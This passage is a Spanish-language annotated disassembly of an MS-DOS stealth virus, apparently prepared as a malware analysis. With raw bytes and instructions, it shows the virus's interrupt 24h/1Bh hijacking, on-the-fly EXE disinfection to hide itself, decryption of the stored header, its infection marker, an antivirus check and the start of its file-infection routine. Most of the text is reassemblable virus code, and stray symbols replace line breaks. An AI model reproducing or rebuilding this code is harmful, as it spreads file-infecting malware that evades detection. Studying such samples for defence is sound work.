     ε;; sospechoso que al copiar un COM desde A: a C:, por ejemplo, y teniendo A:        ε;; protegido contra escritura, nos saliera un mensaje diciendo:                     ε;;                                                                                  ε;; Error de protección contra escritura escribe en unidad A:                        ε;; ¿Anular, Repetir, Descartar?                                                     ε;;                                                                                  ε;; Hacer lo que hace el virus evita esto.                                                                                                                                ∩0DA6:1002 B003          MOV     AL,03  Ω; Pone en AL que el usuario ha indicado                                            Ω; que el error se ignora                     ∩0DA6:1004 CF            IRET           Ω; Retorno de interrupción                                                                                                        ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;      ε;;;; Función para ver si el archivo que se intenta abrir por handle está in- ;      ε;;;; fectado, y en ese caso desinfectarlo. Forma parte de su función stealth.;      ε;;;; Por cierto, sólo desinfecta EXEs. Si un COM es infectado y luego abierto;      ε;;;; por otro programa, éste aparecerá infectado. La verdad es que desinfec- ;      ε;;;; tar un COM es más fácil que desinfectar el EXE, y no sé por qué no ha   ;      ε;;;; implementado la rutina correspondiente.                                 ;      ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                                           ∩0DA6:1005 50            PUSH    AX     Ω; Guarda todos los registros en el stack    ∩0DA6:1006 53            PUSH    BX                                                  ∩0DA6:1007 51            PUSH    CX                                                  ∩0DA6:1008 52            PUSH    DX                                                  ∩0DA6:1009 06            PUSH    ES                                                  ∩0DA6:100A 1E            PUSH    DS                                                  ∩0DA6:100B 57            PUSH    DI                                                  ∩0DA6:100C 56            PUSH    SI                                                  ∩0DA6:100D E8BA01        CALL    11CA     Ω; Parchea las interrupciones 24h y 1Bh    ∩0DA6:1010 E878F6        CALL    068B     Ω; Cambia los atributos del archivo,                                                Ω; guardando los anteriores                 ∩0DA6:1013 B8023D        MOV     AX,3D02  Ω; Abre el archivo para lectura y es-                                                                                           ∩0DA6:1016 E8ACF2        CALL    02C5     Ω; critura                                 ∩0DA6:1019 7251          JB      106C     Ω; Si hay error, salta y acaba             ∩0DA6:101B 50            PUSH    AX       Ω; Guarda en AX el handle                  ∩0DA6:101C E8DFF6        CALL    06FE     Ω; Mira si es un archivo especial, y                                                Ω; si lo es, pone a 1 ciertos bits en                                                Ω; [018C]                                   ∩0DA6:101F 83C304        ADD     BX,+04   Ω; Suma 4 a BX, que tiene la longitud                                               Ω; del nombre del archivo                   ∩0DA6:1022 8BCB          MOV     CX,BX    Ω; Lo pone en CX                           ∩0DA6:1024 5B            POP     BX       Ω; Saca en BX el handle                    ∩0DA6:1025 83F90E        CMP     CX,+0E   Ω; Comprueba si CX es 14                   ∩0DA6:1028 743D          JZ      1067     Ω; Si es, salta y acaba                    ∩0DA6:102A 0E            PUSH    CS       Ω; DS = CS                                 ∩0DA6:102B 1F            POP     DS                                                  ∩0DA6:102C FC            CLD              Ω; Hacia delante (DF a 0)                  ∩0DA6:102D BF3B07        MOV     DI,073B  Ω; Compara el nombre del archivo que       ∩0DA6:1030 BE4807        MOV     SI,0748  Ω; ha guardado ahora en :0748 al que       ∩0DA6:1033 F3            REPZ             Ω; guardó ahí en la última infección       ∩0DA6:1034 A6            CMPSB                                                       ∩0DA6:1035 E302          JCXZ    1039     Ω; Si no coinciden, continúa               ∩0DA6:1037 EB2E          JMP     1067     Ω; Salta y acaba                           ∩0DA6:1039 B91C00        MOV     CX,001C  Ω; Lee 28 bytes del principio del ar-                                               Ω; chivo                                    ∩0DA6:103C BA6A1E        MOV     DX,1E6A  Ω; Guarda estos 28 bytes en :1E6A          ∩0DA6:103F B43F          MOV     AH,3F    Ω; Función de lectura                      ∩0DA6:1041 E881F2        CALL    02C5     Ω; Int 21h                                 ∩0DA6:1044 7221          JB      1067     Ω; Si hay error, salta y acaba             ∩0DA6:1046 E820F6        CALL    0669     Ω; Lee la hora y la fecha y las guarda     ∩0DA6:1049 A17E01        MOV     AX,[017E] Ω; Coge en AL los segundos                ∩0DA6:104C 241F          AND     AL,1F                                               ∩0DA6:104E 3C11          CMP     AL,11    Ω; Mira si son 34                          ∩0DA6:1050 7512          JNZ     1064     Ω; Si no son, acaba                        ∩0DA6:1052 A16A1E        MOV     AX,[1E6A] Ω;                                        ∩0DA6:1055 3D4D5A        CMP     AX,5A4D  Ω; Mira si es EXE comprobando si los                                                Ω; dos primeros bytes del archivo son                                                Ω; 'MZ'                                     ∩0DA6:1058 7405          JZ      105F     Ω; Si son, salta a :105F                   ∩0DA6:105A 3D5A4D        CMP     AX,4D5A  Ω; Mira si son 'ZM'                        ∩0DA6:105D 7505          JNZ     1064     Ω; Si no son, salta a :1064                                                        Ω; Aquí llega si el archivo es un EXE        ∩0DA6:105F E81900        CALL    107B     Ω; Rutina para desinfectar el EXE          ∩0DA6:1062 7203          JB      1067     Ω; Si hay error (CF) salta                 ∩0DA6:1064 E813F6        CALL    067A     Ω; Recupera la hora y fecha original       ∩0DA6:1067 B43E          MOV     AH,3E    Ω; Cierra el handle                        ∩0DA6:1069 E859F2        CALL    02C5                                                ∩0DA6:106C E830F6        CALL    069F     Ω; Pone los atributos del archivo como                                              Ω; estaban                                  ∩0DA6:106F E89701        CALL    1209     Ω; "Desparchea" las ints 24h y 1Bh         ∩0DA6:1072 5E            POP     SI       Ω; Saca todos los registros del stack      ∩0DA6:1073 5F            POP     DI                                                  ∩0DA6:1074 1F            POP     DS                                                  ∩0DA6:1075 07            POP     ES                                                  ∩0DA6:1076 5A            POP     DX                                                  ∩0DA6:1077 59            POP     CX                                                  ∩0DA6:1078 5B            POP     BX                                                  ∩0DA6:1079 58            POP     AX                                                  ∩0DA6:107A C3            RET              Ω; Retorna                                                                                                                      ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;      ε;;;;;  Rutina de desinfección de EXEs  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;      ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                                           ∩0DA6:107B A1801E        MOV     AX,[1E80]       Ω; Coge el valor en la posición                                                     Ω; +16h de la cabecera del EXE                                                       Ω; (representa el CS inicial)        ∩0DA6:107E BA1000        MOV     DX,0010         Ω; Lo multiplica por 16             ∩0DA6:1081 F7E2          MUL     DX                                                  ∩0DA6:1083 03067E1E      ADD     AX,[1E7E]       Ω; Le suma al double-word AX-DX     ∩0DA6:1087 83D200        ADC     DX,+00          Ω; el valor en +14h (el IP ini-                                                     Ω; cial)                             ∩0DA6:108A 8B0E721E      MOV     CX,[1E72]       Ω; Coge en CX el tamaño de la                                                       Ω; cabecera                          ∩0DA6:108E D1E1          SHL     CX,1            Ω; Lo multiplica por 16             ∩0DA6:1090 D1E1          SHL     CX,1                                                ∩0DA6:1092 D1E1          SHL     CX,1                                                ∩0DA6:1094 D1E1          SHL     CX,1                                                ∩0DA6:1096 03C1          ADD     AX,CX           Ω; Suma el valor obtenido al va-    ∩0DA6:1098 83D200        ADC     DX,+00          Ω; lor en DX-AX                     ∩0DA6:109B 8BCA          MOV     CX,DX           Ω; Pone en CX el Hi-Word            ∩0DA6:109D 8BD0          MOV     DX,AX           Ω; Pone en DX el Lo-Word            ∩0DA6:109F B80042        MOV     AX,4200         Ω; Pone el puntero del archivo      ∩0DA6:10A2 E820F2        CALL    02C5            Ω; justo donde se supone que em-                                                    Ω; pieza el desencriptador del                                                       Ω; virus (todas estas operacio-                                                      Ω; nes anteriores eran para sa-                                                      Ω; car la dirección absoluta en                                                      Ω; el archivo del sitio donde                                                        Ω; está el virus)                    ∩0DA6:10A5 7301          JNB     10A8            Ω; Si no hay Carry Flag, conti-                                                     Ω; núa en :10A8                      ∩0DA6:10A7 C3            RET                     Ω; Si hay, retorna                  ∩0DA6:10A8 2D6A1E        SUB     AX,1E6A         Ω; Resta a la situación que le      ∩0DA6:10AB 83DA00        SBB     DX,+00          Ω; ha dado en DX-AX el tamaño                                                       Ω; del virus para tener en DX-                                                       Ω; AX exactamente el tamaño del                                                      Ω; archivo sin virus                 ∩0DA6:10AE 50            PUSH    AX              Ω; Guarda AX y DX en el stack       ∩0DA6:10AF 52            PUSH    DX                                                  ∩0DA6:10B0 B43F          MOV     AH,3F           Ω; Función de lectura               ∩0DA6:10B2 B98000        MOV     CX,0080         Ω; CX = 128                         ∩0DA6:10B5 BA881E        MOV     DX,1E88         Ω; DX = Buffer de lectura propio    ∩0DA6:10B8 E80AF2        CALL    02C5            Ω; Lee 128 bytes desde la posi-                                                     Ω; ción de archivo que se en-                                                        Ω; cuentra ahora                     ∩0DA6:10BB 730A          JNB     10C7            Ω; Si no hay Carry Flag, salta      ∩0DA6:10BD 3D2400        CMP     AX,0024         Ω; Comprueba ha leído más de 36                                                     Ω; bytes                             ∩0DA6:10C0 7705          JA      10C7            Ω; Si ha leído más, continúa        ∩0DA6:10C2 83C404        ADD     SP,+04          Ω; Quita del stack DX y AX, que                                                     Ω; ha guardado antes                 ∩0DA6:10C5 F9            STC                     Ω; Carry Flag a 1                   ∩0DA6:10C6 C3            RET                     Ω; Retorna                                                                         Ω; Aquí si ha podido leer 128 by-                                                    Ω; tes desde la posición de ini-                                                     Ω; cio del desencriptador, y si                                                      Ω; no ha podido leer esa canti-                                                      Ω; dad, al menos si ha leido más                                                     Ω; de 36 bytes                        ∩0DA6:10C7 53            PUSH    BX              Ω; Guarda BX en el stack            ∩0DA6:10C8 8BF8          MOV     DI,AX           Ω; DI = Número de bytes que ha                                                      Ω; leído                             ∩0DA6:10CA 03FA          ADD     DI,DX           Ω; Le suma la dirección donde                                                       Ω; ha guardado lo leído              ∩0DA6:10CC B93200        MOV     CX,0032         Ω; CX = 50                          ∩0DA6:10CF FD            STD                     Ω; Hacia atrás                      ∩0DA6:10D0 B02E          MOV     AL,2E           Ω; Busca de atrás hacia delante     ∩0DA6:10D2 F2            REPNZ                   Ω; y durante 50 bytes el valor      ∩0DA6:10D3 AE            SCASB                   Ω; 2Eh                              ∩0DA6:10D4 0BC9          OR      CX,CX           Ω; Mira si ha buscado en los 50                                                     Ω; bytes sin encontrarlo             ∩0DA6:10D6 7506          JNZ     10DE            Ω; Si CX no es 0, y por tanto ha                                                    Ω; encontrado un valor 2Eh (op-                                                      Ω; code de 'CS:'), salta y con-                                                      Ω; tinúa                             ∩0DA6:10D8 5B            POP     BX              Ω; Saca BX                          ∩0DA6:10D9 83C404        ADD     SP,+04          Ω; Nivela el stack (por cierto,                                                     Ω; hubiera ocupado 1 byte menos                                                      Ω; hacer, por ejemplo, POP AX/                                                       Ω; POP AX)                           ∩0DA6:10DC F9            STC                     Ω; Carry Flag a 1                   ∩0DA6:10DD C3            RET                     Ω; Retorna                                                                         Ω; Aquí desde :10DE                   ∩0DA6:10DE 8A6502        MOV     AH,[DI+02]      Ω; Coge en AH el byte siguiente                                                     Ω; a 'CS:'                           ∩0DA6:10E1 33DB          XOR     BX,BX           Ω; BX = 0                           ∩0DA6:10E3 38A7D20F      CMP     [BX+0FD2],AH    Ω; Comprueba si es el valor en                                                      Ω; la tabla de opcodes en :0FD2                                                      Ω; (o sea, un opcode de XOR, ADD                                                     Ω; o SUB)                            ∩0DA6:10E7 740E          JZ      10F7            Ω; Si es, continúa                  ∩0DA6:10E9 43            INC     BX              Ω; Incrementa BX                    ∩0DA6:10EA 83FB04        CMP     BX,+04          Ω; Comprueba si BX es 4             ∩0DA6:10ED 7702          JA      10F1            Ω; Si es mayor, salta y acaba       ∩0DA6:10EF EBF2          JMP     10E3            Ω; Salta a :10E3 y hace LOOP                                                        Ω; (¡y esa optimización en sal-                                                      Ω; tos...! Si en vez de hacer                                                        Ω; esto, hubiera hecho en :10ED                                                      Ω; lo siguiente:                                                                     Ω; JBE  10E3                                                                         Ω; JMP  10D8                                                                         Ω; se hubiera ahorrado 6 bytes).     ∩0DA6:10F1 5B            POP     BX              Ω; Lo mismo que en :10D8            ∩0DA6:10F2 83C404        ADD     SP,+04                                              ∩0DA6:10F5 F9            STC                                                         ∩0DA6:10F6 C3            RET                                                                                                        Ω; Aquí desde :10E7 si coincide                                                      Ω; el opcode                          ∩0DA6:10F7 8A4503        MOV     AL,[DI+03]      Ω; Coge en AL el siguiente byte     ∩0DA6:10FA 33DB          XOR     BX,BX           Ω; BX = 0                           ∩0DA6:10FC 3A87AE0F      CMP     AL,[BX+0FAE]    Ω; Ahora comprueba si el byte                                                       Ω; que sigue es un opcode de la                                                      Ω; tabla en :0FAE                    ∩0DA6:1100 740E          JZ      1110            Ω; Si es, salta y continúa          ∩0DA6:1102 43            INC     BX              Ω; Incrementa BX                    ∩0DA6:1103 83FB19        CMP     BX,+19          Ω; Comprueba si BX es 25            ∩0DA6:1106 7702          JA      110A            Ω; Si es mayor, salta y acaba       ∩0DA6:1108 EBF2          JMP     10FC            Ω; Hace LOOP                        ∩0DA6:110A 5B            POP     BX              Ω; En estos trozos repetidos,       ∩0DA6:110B 83C404        ADD     SP,+04          Ω; el autor se habría ahorrado      ∩0DA6:110E F9            STC                     Ω; cantidad de bytes                ∩0DA6:110F C3            RET                                                                                                        Ω; Aquí si algún opcode de :0FAE                                                     Ω; coincide                           ∩0DA6:1110 80E307        AND     BL,07           Ω; Coge en BL el número de re-                                                      Ω; gistro que usa para encriptar     ∩0DA6:1113 8A87A60F      MOV     AL,[BX+0FA6]    Ω; Coge ese registro de :0FA6                                                       Ω; (que son opcodes de MOV) y                                                        Ω; pone en AL el opcode de MOV                                                       Ω; Reg, ** (según el registro                                                        Ω; que haya usado en la instruc-                                                     Ω; ción anterior)                    ∩0DA6:1117 B93200        MOV     CX,0032         Ω; CX = 50                          ∩0DA6:111A F2            REPNZ                   Ω; Busca en esos 50 bytes el        ∩0DA6:111B AE            SCASB                   Ω; MOV Reg,**                       ∩0DA6:111C 0BC9          OR      CX,CX           Ω; Si CX no es 0 es que lo ha                                                       Ω; encontrado, y entonces...         ∩0DA6:111E 7506          JNZ     1126            Ω; ...salta a :1126                 ∩0DA6:1120 5B            POP     BX              Ω; ¡Y dale con lo mismo!            ∩0DA6:1121 83C404        ADD     SP,+04                                              ∩0DA6:1124 F9            STC                                                         ∩0DA6:1125 C3            RET                                                                                                        Ω; Aquí si ha encontrado la ins-                                                     Ω; trucción de MOV                    ∩0DA6:1126 8A4502        MOV     AL,[DI+02]      Ω; Coge en AL el valor de crip-                                                     Ω; tado                              ∩0DA6:1129 FC            CLD                     Ω; Ahora hacia delante              ∩0DA6:112A 5B            POP     BX              Ω; Saca BX                          ∩0DA6:112B 59            POP     CX              Ω; Saca la dirección de inicio      ∩0DA6:112C 5A            POP     DX              Ω; del virus que guardó como DX                                                     Ω; y AX, en CX y DX (respectiva-                                                     Ω; mente)                            ∩0DA6:112D 52            PUSH    DX              Ω; Guarda estos valores de nuevo    ∩0DA6:112E 51            PUSH    CX                                                  ∩0DA6:112F 50            PUSH    AX              Ω; Guarda el valor de criptado      ∩0DA6:1130 B80042        MOV     AX,4200         Ω; Función Ptr-Seek, o movimien-                                                    Ω; to del puntero de archivo en                                                      Ω; funciones "Handle"                ∩0DA6:1133 81C26B01      ADD     DX,016B         Ω; Le suma a DX el valor 016B                                                       Ω; para sacar donde tiene la ca-                                                     Ω; becera guardada                   ∩0DA6:1137 83D100        ADC     CX,+00          Ω; Suma 1 a CX si hay rebose        ∩0DA6:113A E888F1        CALL    02C5            Ω; Int 21h                          ∩0DA6:113D B90F00        MOV     CX,000F         Ω; Lee 15 bytes y los mete en       ∩0DA6:1140 BA881E        MOV     DX,1E88         Ω; :1E88                            ∩0DA6:1143 B43F          MOV     AH,3F                                               ∩0DA6:1145 E87DF1        CALL    02C5            Ω; Int 21h                          ∩0DA6:1148 58            POP     AX              Ω; Saca AX                          ∩0DA6:1149 88265411      MOV     [1154],AH       Ω; Pone en [1154] el valor de                                                       Ω; AH, que era el opcode de la                                                       Ω; operación de desencriptado                                                        Ω; (XOR, ADD o SUB)                  ∩0DA6:114D EB00          JMP     114F            Ω; Salto nulo para borrar la                                                        Ω; "Prefetch-Queue" o cola del                                                       Ω; procesador, que son las ins-                                                      Ω; trucciones que lee mientras                                                       Ω; se ejecutan otras. Si no hi-                                                      Ω; ciera esto, podría pasar que                                                      Ω; hubiera leído la instrucción                                                      Ω; en :1154 antes de que fuera                                                       Ω; modificada.                       ∩0DA6:114F 8BFA          MOV     DI,DX           Ω; En DI la dirección de los da-                                                    Ω; tos de la cabecera criptada       ∩0DA6:1151 B90F00        MOV     CX,000F         Ω; CX = 15                          ∩0DA6:1154 2805          SUB     [DI],AL         Ω; Efectúa la operación de de-                                                      Ω; sencriptado                       ∩0DA6:1156 F615          NOT     BYTE PTR [DI]   Ω; Vuelve a desencriptar (esto                                                      Ω; es lo del segundo desencrip-                                                      Ω; tador)                            ∩0DA6:1158 47            INC     DI              Ω; Incrementa DI                    ∩0DA6:1159 E2F9          LOOP    1154            Ω; Lo hace 15 veces                 ∩0DA6:115B 8BFA          MOV     DI,DX           Ω; Vuelve a meter en DI la di-                                                      Ω; rección :1E88                     ∩0DA6:115D 8B05          MOV     AX,[DI]         Ω; Coge en AX el IP inicial del                                                     Ω; EXE                               ∩0DA6:115F A37E1E        MOV     [1E7E],AX       Ω; Lo mete en la posición +14h                                                      Ω; de la cabecera leída              ∩0DA6:1162 8B4502        MOV     AX,[DI+02]      Ω; Lee el CS inicial                ∩0DA6:1165 A3801E        MOV     [1E80],AX       Ω; Lo mete en la posición +16h      ∩0DA6:1168 8B4504        MOV     AX,[DI+04]      Ω; Lee el SP inicial                ∩0DA6:116B A37A1E        MOV     [1E7A],AX       Ω; Lo pone en la posición +10h      ∩0DA6:116E 8B4506        MOV     AX,[DI+06]      Ω; Lee el SS inicial                ∩0DA6:1171 A3781E        MOV     [1E78],AX       Ω; Lo pone en la posición +0Eh      ∩0DA6:1174 8B4508        MOV     AX,[DI+08]      Ω; Coge el resto de dividir el                                                      Ω; tamaño del archivo entre 512      ∩0DA6:1177 A36C1E        MOV     [1E6C],AX       Ω; Lo pone en la posición +02h      ∩0DA6:117A 8B450A        MOV     AX,[DI+0A]      Ω; Coge el cociente de esa divi-                                                    Ω; sión                              ∩0DA6:117D A36E1E        MOV     [1E6E],AX       Ω; Lo pone en +04h                  ∩0DA6:1180 8B450C        MOV     AX,[DI+0C]      Ω; Coge la hora original del ar-                                                    Ω; chivo                             ∩0DA6:1183 A37E01        MOV     [017E],AX       Ω; La pone sustituyendo la hora                                                     Ω; que ha sacado antes               ∩0DA6:1186 8A450E        MOV     AL,[DI+0E]      Ω; Obtiene el byte que identifi-                                                    Ω; ca el archivo como COM o EXE      ∩0DA6:1189 3C01          CMP     AL,01           Ω; Mira si es un EXE                ∩0DA6:118B 7405          JZ      1192            Ω; Si es, continúa y no ha habi-                                                    Ω; do error en la desencripta-                                                       Ω; ción                              ∩0DA6:118D 83C404        ADD     SP,+04          Ω; Nivela stack, pone CF y re-      ∩0DA6:1190 F9            STC                     Ω; torna                            ∩0DA6:1191 C3            RET                                                                                                        Ω; Aquí desde :118B                   ∩0DA6:1192 59            POP     CX              Ω; Recupera CX y DX                 ∩0DA6:1193 5A            POP     DX                                                  ∩0DA6:1194 52            PUSH    DX                                                  ∩0DA6:1195 51            PUSH    CX                                                  ∩0DA6:1196 81E2FF01      AND     DX,01FF         Ω; Convierte DX en un número                                                        Ω; entre 0 y 511, que ha de                                                          Ω; coincidir con el resto que                                                        Ω; hay en [1E6C]                     ∩0DA6:119A 39166C1E      CMP     [1E6C],DX       Ω; Lo compara                       ∩0DA6:119E 7405          JZ      11A5            Ω; Si es igual, salta y continúa    ∩0DA6:11A0 83C404        ADD     SP,+04          Ω; Acaba con CF si no es igual      ∩0DA6:11A3 F9            STC                                                         ∩0DA6:11A4 C3            RET                                                         ∩0DA6:11A5 33C9          XOR     CX,CX           Ω; CX = DX = 0                      ∩0DA6:11A7 8BD1          MOV     DX,CX                                               ∩0DA6:11A9 B80042        MOV     AX,4200         Ω; Pone el puntero del archivo      ∩0DA6:11AC E816F1        CALL    02C5            Ω; al principio de éste             ∩0DA6:11AF BA6A1E        MOV     DX,1E6A         Ω; Escribe la cabecera original     ∩0DA6:11B2 B91C00        MOV     CX,001C         Ω; que acaba de reconstruir         ∩0DA6:11B5 B440          MOV     AH,40                                               ∩0DA6:11B7 E80BF1        CALL    02C5                                                ∩0DA6:11BA 59            POP     CX              Ω; Saca CX y DX, que es el tama-    ∩0DA6:11BB 5A            POP     DX              Ω; ño del archivo sin virus         ∩0DA6:11BC B80042        MOV     AX,4200         Ω; Coloca ahí el puntero            ∩0DA6:11BF E803F1        CALL    02C5            Ω; Int 21h                          ∩0DA6:11C2 B440          MOV     AH,40           Ω; Trunca el tamaño del archivo     ∩0DA6:11C4 33C9          XOR     CX,CX           Ω; (escribiendo 0 bytes, el ar-     ∩0DA6:11C6 E8FCF0        CALL    02C5            Ω; chivo cambia el tamaño hasta                                                     Ω; donde se encuentra el puntero                                                     Ω; de archivo)                       ∩0DA6:11C9 C3            RET                     Ω; Retorna (con o sin CF, según                                                     Ω; si ha habido ahora error o                                                        Ω; no).                                                                                                                   ε;;;; Rutina para parchear las interrupciones 24h y 1Bh y redireccionarlas a         ε;;;; las rutinas propias del virus                                                                                                                                       ∩0DA6:11CA 06            PUSH    ES            Ω; Guarda ES                          ∩0DA6:11CB 33C0          XOR     AX,AX         Ω; ES = 0                             ∩0DA6:11CD 8EC0          MOV     ES,AX                                               ∩0DA6:11CF 26            ES:                   Ω; Guarda el puntero a la int 24h     ∩0DA6:11D0 A19000        MOV     AX,[0090]     Ω; en [0FFA]                          ∩0DA6:11D3 2E            CS:                                                         ∩0DA6:11D4 A3FA0F        MOV     [0FFA],AX                                           ∩0DA6:11D7 26            ES:                                                         ∩0DA6:11D8 A19200        MOV     AX,[0092]                                           ∩0DA6:11DB 2E            CS:                                                         ∩0DA6:11DC A3FC0F        MOV     [0FFC],AX                                           ∩0DA6:11DF 26            ES:                   Ω; Ahora el puntero a la int 1Bh,     ∩0DA6:11E0 A16C00        MOV     AX,[006C]     Ω; que es una interrupción que es     ∩0DA6:11E3 2E            CS:                   Ω; llamada automáticamente si es      ∩0DA6:11E4 A3FE0F        MOV     [0FFE],AX     Ω; pulsado Ctrl-Break. Lo guarda      ∩0DA6:11E7 26            ES:                   Ω; en [0FFE]                          ∩0DA6:11E8 A16E00        MOV     AX,[006E]                                           ∩0DA6:11EB 2E            CS:                                                         ∩0DA6:11EC A30010        MOV     [1000],AX                                           ∩0DA6:11EF 26            ES:                                                         ∩0DA6:11F0 8C0E9200      MOV     [0092],CS     Ω; Redirecciona la int 24h a una      ∩0DA6:11F4 26            ES:                   Ω; rutina propia que comienza en      ∩0DA6:11F5 C70690000210  MOV     WORD PTR [0090],1002 Ω; CS:1002                     ∩0DA6:11FB 26            ES:                   Ω; La rutina de la int 1Bh tam-       ∩0DA6:11FC 8C0E6E00      MOV     [006E],CS     Ω; bién la redirecciona, pero al      ∩0DA6:1200 26            ES:                   Ω; IRET en la misma rutina que la     ∩0DA6:1201 C7066C000410  MOV     WORD PTR [006C],1004 Ω; int 24h                     ∩0DA6:1207 07            POP     ES            Ω; Saca ES                            ∩0DA6:1208 C3            RET                   Ω; Retorna                                                                                                                 ε;;;;; Rutina para volver a poner los punteros originales de la int 24h e int        ε;;;;; 1Bh                                                                                                                                                                ∩0DA6:1209 1E            PUSH    DS      Ω; Guarda DS, ES y SI                       ∩0DA6:120A 06            PUSH    ES                                                  ∩0DA6:120B 56            PUSH    SI                                                  ∩0DA6:120C 33C0          XOR     AX,AX   Ω; AX = 0                                   ∩0DA6:120E FC            CLD             Ω; DF = 0                                   ∩0DA6:120F 0E            PUSH    CS      Ω; CS = DS                                  ∩0DA6:1210 1F            POP     DS                                                  ∩0DA6:1211 8EC0          MOV     ES,AX   Ω; ES = 0                                   ∩0DA6:1213 BEFA0F        MOV     SI,0FFA Ω; En SI la dirección donde guarda la                                               Ω; int 24h                                   ∩0DA6:1216 BF9000        MOV     DI,0090 Ω; En DI la dirección en la TVI donde                                               Ω; va la int 24h                             ∩0DA6:1219 A5            MOVSW           Ω; Copia el puntero                         ∩0DA6:121A A5            MOVSW                                                       ∩0DA6:121B BF6C00        MOV     DI,006C Ω; En DI ahora la dirección de la int                                               Ω; 1Bh                                       ∩0DA6:121E A5            MOVSW           Ω; Copia el puntero                         ∩0DA6:121F A5            MOVSW                                                       ∩0DA6:1220 5E            POP     SI      Ω; Saca del stack los registros afecta-     ∩0DA6:1221 07            POP     ES      Ω; dos                                      ∩0DA6:1222 1F            POP     DS                                                  ∩0DA6:1223 C3            RET             Ω; Retorna                                                                                                                       ε;;; Rutina para poner la marca de infección del EXE y poner el nuevo SP que         ε;;; tendrá el EXE al empezar                                                                                                                                             ∩0DA6:1224 E813F7        CALL    093A            Ω; Obtiene en AX un aleatorio       ∩0DA6:1227 250300        AND     AX,0003         Ω; Lo reduce a un número entre                                                      Ω; 0 y 3                             ∩0DA6:122A 74F8          JZ      1224            Ω; Si es 0, salta y repite el                                                       Ω; proceso                           ∩0DA6:122C 0306801E      ADD     AX,[1E80]       Ω; Le suma a AX el valor en                                                         Ω; [1E80], que es el valor de                                                        Ω; IP inicial del EXE                ∩0DA6:1230 A3781E        MOV     [1E78],AX       Ω; Lo pone en la posición +08h                                                      Ω; de la cabecera (tamaño en pá-                                                     Ω; rrafos)                           ∩0DA6:1233 E804F7        CALL    093A            Ω; Obtiene un aleatorio en AX       ∩0DA6:1236 250700        AND     AX,0007         Ω; Reduce AX a un número entre                                                      Ω; 0 y 7                             ∩0DA6:1239 057A1F        ADD     AX,1F7A         Ω; Suma a AX 1F7Ah (tamaño del                                                      Ω; virus + 110h bytes)               ∩0DA6:123C 24FE          AND     AL,FE           Ω; Lo hace par                      ∩0DA6:123E A37A1E        MOV     [1E7A],AX       Ω; Lo mete en la zona de SP de                                                      Ω; la cabecera (+10h)                ∩0DA6:1241 C3            RET                     Ω; Retorna                                                                                                               ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;      ε;;;; RUTINA DE INFECCION DE HANDLES                                     ;;;;;;      ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                                           ∩0DA6:1242 53            PUSH    BX              Ω; Guarda registros en el stack     ∩0DA6:1243 51            PUSH    CX                                                  ∩0DA6:1244 52            PUSH    DX                                                  ∩0DA6:1245 06            PUSH    ES                                                  ∩0DA6:1246 1E            PUSH    DS                                                  ∩0DA6:1247 57            PUSH    DI                                                  ∩0DA6:1248 56            PUSH    SI                                                  ∩0DA6:1249 9C            PUSHF                   Ω; Guarda banderas                  ∩0DA6:124A 50            PUSH    AX              Ω; Guarda AX en último lugar        ∩0DA6:124B E87CFF        CALL    11CA            Ω; Parchea las interrupciones                                                       Ω; 24h y 1Bh                         ∩0DA6:124E 2E            CS:                     Ω; Comprueba si se está ejecu-      ∩0DA6:124F F6068C0101    TEST    BYTE PTR [018C],01 Ω; tando algún antivirus mi-                                                     Ω; rando si está a 1 el bit 1                                                        Ω; en [018C]                         ∩0DA6:1254 755A          JNZ     12B0            Ω; Si está a 1, salta y acaba       ∩0DA6:1256 E810F4        CALL    0669            Ω; Obtiene hora y fecha y la                                                        Ω; guarda.                           ∩0DA6:1259 2E            CS:                     Ω; Obtiene los segundos del ar-     ∩0DA6:125A A17E01        MOV     AX,[017E]       Ω; chivo en AL                      ∩0DA6:125D 241F          AND     AL,1F                                               ∩0DA6:125F 3C11          CMP     AL,11           Ω; Comprueba si son 34              ∩0DA6:1261 744D          JZ      12B0            Ω; Si son, salta y acaba            ∩0DA6:1263 E86000        CALL    12C6            Ω; Obtiene el nombre del handle                                                     Ω; y comprueba si es un archivo                                                      Ω; especial                          ∩0DA6:1266 7248          JB      12B0            Ω; Si hay CF, salta y acaba         ∩0DA6:1268 33C9          XOR     CX,CX           Ω; Pone el puntero de archivo       ∩0DA6:126A 8BD1          MOV     DX,CX           Ω; al principio                     ∩0DA6:126C B80042        MOV     AX,4200                                             ∩0DA6:126F E853F0        CALL    02C5            Ω; Int 21h                          ∩0DA6:1272 723C          JB      12B0            Ω; Si hay error, salta y acaba      ∩0DA6:1274 B43F          MOV     AH,3F           Ω; Lee los 28 primeros bytes en     ∩0DA6:1276 B91C00        MOV     CX,001C         Ω; :1E6A                            ∩0DA6:1279 0E            PUSH    CS                                                  ∩0DA6:127A 1F            POP     DS                                                  ∩0DA6:127B 1E            PUSH    DS                                                  ∩0DA6:127C 07            POP     ES                                                  ∩0DA6:127D BA6A1E        MOV     DX,1E6A                                             ∩0DA6:1280 E842F0        CALL    02C5            Ω; Int 21h                          ∩0DA6:1283 722B          JB      12B0            Ω; Si hay error, salta y acaba      ∩0DA6:1285 3BC1          CMP     AX,CX           Ω; Comprueba si ha podido leer                                                      Ω; al menos 28 bytes                 ∩0DA6:1287 7527          JNZ     12B0            Ω; Si el archivo era menor, sal-                                                    Ω; ta y acaba                        ∩0DA6:1289 8BF2          MOV     SI,DX           Ω; En SI la dirección :1E6A         ∩0DA6:128B FC            CLD                     Ω; Hacia delante                    ∩0DA6:128C AD            LODSW                   Ω; Carga el primer par de bytes                                                     Ω; en AX                             ∩0DA6:128D 3D4D5A        CMP     AX,5A4D         Ω; Comprueba si son 'MZ'            ∩0DA6:1290 740C          JZ      129E            Ω; Si son, salta 